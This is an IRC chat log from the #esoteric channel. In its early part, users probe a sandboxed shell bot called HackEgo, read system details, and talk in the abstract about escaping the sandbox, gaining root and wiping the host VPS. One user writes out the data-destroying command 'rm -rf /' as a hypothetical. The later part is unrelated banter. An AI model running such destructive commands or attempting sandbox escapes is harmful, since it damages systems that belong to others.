0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :alternatives < 1267536898 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`cd /lib && ls < 1267536899 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267536904 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd /lib && ls < 1267536905 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :cpp \ firmware \ init \ ld-2.9.so \ ld-linux-x86-64.so.2 \ libBrokenLocale-2.9.so \ libBrokenLocale.so.1 \ libSegFault.so \ libacl.so.1 \ libacl.so.1.1.0 \ libanl-2.9.so \ libanl.so.1 \ libattr.so.1 \ libattr.so.1.1.0 \ libblkid.so.1 \ libblkid.so.1.1.0 \ libbsd.so.0 \ libbsd.so.0.1.6 \ libbz2.so.1 \ libbz2.so.1.0 < 1267536922 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :hmm, is it so sure that this is actually secure < 1267536928 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It is absolutely secure. < 1267536939 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Even if I do `run rm -rf / < 1267536946 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you break out of the plash sandbox, which overrides every single system call, you will find yourself within an empty chroot. < 1267536956 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :From which you then must find a vulnerability in the Linux kernel to escape. < 1267536960 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Good luck. < 1267536976 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: One, all changes are revisioned. Two, you can't delete anything that isn't yours. < 1267536978 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267536978 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.16399 < 1267536986 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That stuff's ours. < 1267536991 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you remove it, we'll put it back in one command. < 1267536992 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`help < 1267536993 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1267536996 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd .. && ls < 1267536997 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :hackenv.16464 < 1267537001 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd ../.. && ls < 1267537002 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr < 1267537007 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd /tmp && ls < 1267537008 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :hackenv.16547 < 1267537011 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :okay... < 1267537020 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`id < 1267537021 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :uid=1856920 gid=1856920 < 1267537022 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`id < 1267537023 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :uid=1642345 gid=1642345 < 1267537025 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run mkdir /home < 1267537025 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :New user each time. < 1267537026 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267537035 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd / && ls < 1267537036 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr < 1267537042 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :wait, it already existed < 1267537045 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :gah, i'm stupid < 1267537048 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd /home && ls < 1267537049 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :hackbot < 1267537062 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`mkdir /home/asiekierka && cd /home && ls /home < 1267537063 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267537068 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run mkdir /home/asiekierka && cd /home && ls < 1267537069 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267537075 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run mkdir /home/asiekierka < 1267537076 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267537078 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd /home && ls < 1267537079 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :hackbot < 1267537083 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :...I don't like you. < 1267537086 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd /home/hackbot && ls < 1267537087 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :hackbot.hg < 1267537118 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd $PWD && ls < 1267537119 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.17038 < 1267537124 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Oooooookaay... < 1267537125 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cd $PWD; how pointless. < 1267537131 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :You're angering me, HackEgo < 1267537148 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :try 2>&1 after each command < 1267537150 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :to see errors < 1267537157 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`run mkdir /home/asiekierka 2>&1 && cd /home && ls < 1267537158 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/bin/mkdir: cannot create directory `/home/asiekierka': Permission denied < 1267537162 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Oooooh < 1267537166 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :not shiny. < 1267537169 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :sh <( cat 'cd $PWD' ) < 1267537175 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd /lib && ls < 1267537176 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :cpp \ firmware \ init \ ld-2.9.so \ ld-linux-x86-64.so.2 \ libBrokenLocale-2.9.so \ libBrokenLocale.so.1 \ libSegFault.so \ libacl.so.1 \ libacl.so.1.1.0 \ libanl-2.9.so \ libanl.so.1 \ libattr.so.1 \ libattr.so.1.1.0 \ libblkid.so.1 \ libblkid.so.1.1.0 \ libbsd.so.0 \ libbsd.so.0.1.6 \ libbz2.so.1 \ libbz2.so.1.0 < 1267537182 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: a file called cd $PWD? < 1267537207 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd / && ls < 1267537208 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr < 1267537209 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise, http://simple.wikipedia.org/wiki/Fundamental_theorem_of_arithmetic < 1267537211 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd /lib64 && ls < 1267537212 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :cpp \ firmware \ init \ ld-2.9.so \ ld-linux-x86-64.so.2 \ libBrokenLocale-2.9.so \ libBrokenLocale.so.1 \ libSegFault.so \ libacl.so.1 \ libacl.so.1.1.0 \ libanl-2.9.so \ libanl.so.1 \ libattr.so.1 \ libattr.so.1.1.0 \ libblkid.so.1 \ libblkid.so.1.1.0 \ libbsd.so.0 \ libbsd.so.0.1.6 \ libbz2.so.1 \ libbz2.so.1.0 < 1267537234 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"The Fundamental theorem of arithmethic (also called the unique factorization theorem) is a theorem of number theory. The theorem says that every positive integer greater than 1 can be written as a product of prime numbers (or the integer is itself a prime number)." < 1267537239 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes, that's absolutely simple english /rolleyes < 1267537318 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run uname -r < 1267537319 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :2.6.26-1-xen-amd64 < 1267537329 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Yay, old linux kernel versions! < 1267537342 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :libBrokenLocale and libSegFault, the best libraries evar. It's too bad they're not exactly what it says on the tin (tvtropes ref); libBrokenLocale (as far as I can tell) doesn't break locales, and libSegFault doesn't cause segfaults. < 1267537422 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/849736.txt?key=mp48bw1mgnnh2sbcrtayq an actually simple rewrite of the start of that article < 1267537445 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I guess it depends whether the audience is someone who knows Simple English and no english maths terminology or someone who knows Simple English and english maths terminology < 1267537445 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Guys, a theoretical question < 1267537449 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but I imagine the latter is quite rare < 1267537466 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :If I would in fact find a working linux kernel vulnerability (the chance being 1:infinity in our current reality), what would happen? < 1267537474 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :(I mean, and used it on HackEgo) < 1267537478 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, you can't. < 1267537485 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :First you'd have to escape the plash sandbox (VERY hard). < 1267537488 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then you'd have to use the exploit. < 1267537506 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :what if it theoretically happened? < 1267537510 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So you'd need to find a serious vulnerability in Plash (very unlikely), and then a serious vulnerability in Linux's chroot code (almost impossible). < 1267537525 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: Then you would find yourself on Gregor's system, as a user with no privileges. All you could do would be to delete HackEgo. < 1267537540 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you then found a Linux exploit that let you elevate to root, you would then be able to wipe out Gregor's VPS. He probably has backups. < 1267537552 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :So nothing would really happen except I'd waste time and get banned? < 1267537559 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yep. < 1267537571 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :And HackEgo would disappear? < 1267537592 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Until the backup was restored; so a few hours. < 1267537597 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It'd probably be set to ignore you afterwards. < 1267537961 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Bah, why isn't anyone interesting online. :P < 1267537973 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I don't think you need a vulnerability exactly in the chroot code, you just need a local privilege escalation so that you get root inside it; that thing's not supposed to hold raptors, after all. Still, a combination of plash and linux vulnerabilities isn't exactly trivial, and really, getting access to someone's virtual server can't be worth the trouble. < 1267537974 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Bah, why can't I do anything interesting in Hack(gr)Ego(r) < 1267538034 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Linux local privilege escalation: Even three-year-olds can do it < 1267538044 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A vulnerability in chroot code is more likely than privilege escalation < 1267538053 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But then you'll only be a useless user. But still. It's the outer VPS. < 1267538062 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You could use up all his disk space if he hasn't set a quota (he probably has, though). < 1267538075 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You could jam his network, though you could do that from HackEgo anyway. Pointless, though. < 1267538076 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :If he had a Mac, I could run Lose/Lose on it maybe < 1267538186 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"The Royal Standard is never flown at half-mast, as the Sovereign never dies (the new monarch immediately succeeds his or her predecessor)." < 1267538205 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :THE QUEEN: Literally immortal < 1267538239 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: So could you design a faster-than-light information-transfer system based on killing royalty? < 1267538255 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267538289 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A. The Queen has four Corgis – Linnet, Monty, Holly, Willow. She also has four Dorgis (cross-breed of Dachshund and Corgi) Cider, Berry, Candy, Vulcan. < 1267538292 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The Queen has a dog called Vulcan. < 1267538364 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :anyone knows HackEgo's IP? Just wondering < 1267538369 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :whois < 1267538413 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :ugh < 1267538418 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :i need longer output from HackEgo < 1267538472 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Anyone has any fun idea < 1267538529 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Wasn't there some DCC thing, or was that a different bot? Do you remember, fungot? < 1267538530 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: an elven cloak: the hitchhiker's guide to the moonlight and the cimmerian. they are found in many places, not surprisingly, are large, dark shape rose from the chaos and gave it to open locked doors. < 1267538550 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :alise? < 1267538585 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's EgoBot < 1267538590 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or maybe HackEgo does it too < 1267538628 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :HackEgo Seems To Be Failing < 1267538635 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :HESTOBEF < 1267538656 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :i'm trying to compile something and ./configure just won't work < 1267538975 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise I just got my highest upvoted comment on reddit ever < 1267538993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: ah, -649 points! < 1267538995 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you're improving! :D < 1267539001 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :What? < 1267539004 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :what -649 points < 1267539114 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :http://www.reddit.com/r/math/comments/b81mh/what_is_the_style_of_hat_worn_by_david_hilbert_in/ < 1267539117 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :this is making me lol < 1267539121 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :"Hilbert's Epsilon Hat. < 1267539121 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :" < 1267539154 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :"My mom wears one when she gardens. I'm sure you could borrow it. < 1267539155 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :" < 1267539481 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :http://kr.img.blog.yahoo.com/ybi/1/9d/96/know_blog/folder/3/img_3_211_3?1141364520.jpg < 1267542666 0 :asiekierk!asiekierka@078088180066.elblag.vectranet.pl JOIN :#esoteric < 1267542703 0 :asiekierka!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1267542923 0 :lifthrasiir!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1267543035 0 :lifthrasiir!LkqzU052@haje12.kaist.ac.kr JOIN :#esoteric < 1267543548 0 :lereah_!unknown@unknown.invalid QUIT :Quit: Leaving < 1267543834 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1267543908 0 :Sgeo__!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1267544036 0 :cpressey!~CPressey@173-9-215-173-Illinois.hfc.comcastbusiness.net JOIN :#esoteric < 1267544103 0 :Sgeo_!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1267544712 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267544995 0 :Asztal!~asztal@host86-166-170-253.range86-166.btcentralplus.com JOIN :#esoteric < 1267545746 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267546559 0 :cpressey!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267546836 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: I'm writing that thing i said i would explaining why files suck < 1267546864 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :good < 1267547018 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267547083 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it will be long < 1267547169 0 :cpressey!~CPressey@12.116.117.150 JOIN :#esoteric < 1267547183 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : all of these just to reduce angular momentum by itself? < 1267547190 0 :tombom_!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1267547200 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :angular momentum is a conserved quality. hth. < 1267547240 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so an earthquake couldn't change it, since that's just internal to the earth < 1267547313 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh, yes < 1267547316 0 :tombom!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1267547350 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what changes iirc is the moment of inertia, determined by the mass distribution. and that combined with angular momentum changing the rotation and axis. < 1267547368 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*changes < 1267547518 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : The word-pair "combat-wombat" keeps going round my head. < 1267547526 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that sounds somewhat awkward < 1267547573 0 :scarf!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267547657 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Combat Wombat; that could be the latest Pokémon ripoff. < 1267547696 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Kombatto Wombatto < 1267547700 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Kombattu Wombatto < 1267547829 0 :Asztal!unknown@unknown.invalid PRIVMSG #esoteric :You mean Battletoads rip-off < 1267547996 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267548004 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Combat Wombat vs. Battle Toad < 1267548008 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :vs. Altercation Albatross < 1267548470 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: almost finished the article < 1267548748 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : If you break out of the plash sandbox, which overrides every single system call, you will find yourself within an empty chroot. < 1267548758 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's the matrix! < 1267548870 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: okay, it's done < 1267548871 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :more or less < 1267548895 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo__: ping < 1267549966 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Pretty much. < 1267550002 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :コンバット・ウァンバット！ < 1267550024 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo__: pingping < 1267550034 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: do you think files are good? < 1267550034 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i find your japanese questionable < 1267550043 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :as in, i just see question marks. < 1267550102 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Hah. < 1267550122 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: I think they're a sign of a poor type system in the OS. < 1267550132 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Good! < 1267550135 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then you will like my article. < 1267550144 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Now if only I had somewhere to put it; I haven't registered usys.org yet. < 1267550150 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I mean, really? An associative array of chars? < 1267550154 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. < 1267550159 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Associative array of char*s. < 1267550196 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :don't let your characters associate with arrays < 1267550222 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :>_< < 1267550320 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Guess the language: < 1267550324 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :real :: answer = 42 < 1267550337 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird. < 1267550339 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fortran 90. < 1267550342 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Seriously. < 1267550361 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267550403 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah. < 1267550494 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sooo. < 1267551754 0 :Gregor!~gregor@65.183.185.22 JOIN :#esoteric < 1267551835 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hi Gregor. < 1267552080 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1267552162 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267552219 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1267552227 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1267552782 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267553013 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hail. < 1267553353 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267553431 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267553789 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I started defining an extension of the rationals with n/0, then I ended up having to define 0/n as special too. Now I'm having to define 0 =/= -0. < 1267553796 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I have a sneaking suspicion this is turning into something that isn't anything at all. < 1267553811 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :0/0 IS EVIL < 1267553857 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I was going to have 0/0 as a special case, I think. < 1267553873 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :As a separate weirdtional where 0*(0/0) = 0. < 1267553986 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1267554515 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise ... why < 1267554543 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Because I was going to have a consistent system with 0/n, dammit, no matter what I had to do! < 1267554793 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :BREAKING NEWS: INCREDIBLE COMPUTER SCIENTIST EHIRD CRACKS TEN MILLION YEAR PROBLEM < 1267554809 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric : < 1267554875 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Shaddap :) < 1267554950 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hey, "nullity" can be defined in an axiomatic system. < 1267554952 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :For one, mine has 0*(n/0) = n. < 1267554967 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And 0*(0/n) = 1, but that's an entirely separate issue :P < 1267554968 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :This guy just claims that he had added it to the ordinary one used for arithmetic. < 1267554977 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Which is... Bullshit. < 1267554996 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. < 1267555001 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Not added it, "discovered" it. < 1267555006 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :By making a symbol up for it. < 1267555116 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise admit it :! < 1267555148 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :trying to reconsile division by zero is as braindead as these people trying to 'hide from the clutches of godelian incompleteness' it's just fucking stupid < 1267555193 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's also fun. < 1267555196 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm not doing it seriously. < 1267555207 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm doing it to see what crazy, crazy things you have to entail to get it working. < 1267555436 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267555629 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"mathematical arithmetic is sociologically invalid" —discoverer of Nullity < 1267555642 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it's 100% true < 1267555804 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yay NULLITY < 1267556106 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :-1*-1 = 1 is EVIL and StUPID < 1267556482 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Hey guys. < 1267556490 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :ohiho < 1267556561 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :-1 * -1 is the TIME CUBE < 1267556579 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267556722 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :My cat is being really weird. < 1267556742 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :She'll sleep on my bed for a while, then get up and meow at me. I look at her, and she goes back to sleep. < 1267556836 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :0/0 = pi < 1267556837 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I want to learn an esolang that's fun and makes programming a challenge. Any suggestions? < 1267556839 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267556858 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :BrainFuck then Befunge then 2L then Glass :P < 1267556863 0 :jcp!unknown@unknown.invalid NICK :javawizard < 1267556872 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I've been meaning to try befunge. < 1267556872 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Give us some desired weights for "fun" and "challenge" < 1267556885 0 :javawizard!unknown@unknown.invalid NICK :javawizard2539 < 1267556892 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Agda < 1267556893 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Befunge, somewhat more fun, somewhat less challenge. < 1267556896 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I'm pretty don with BF. < 1267556905 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Self-promotion ey?! < 1267556913 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :We'll have none of that round 'ese parts! :P < 1267556915 0 :javawizard2539!unknown@unknown.invalid NICK :jcp < 1267556928 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :FYB! < 1267556932 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Pft, it's "not challenging enough" for most here, I would guess. < 1267556937 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Well. Yeah. < 1267556942 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Glass is a pretty decent language. < 1267556958 0 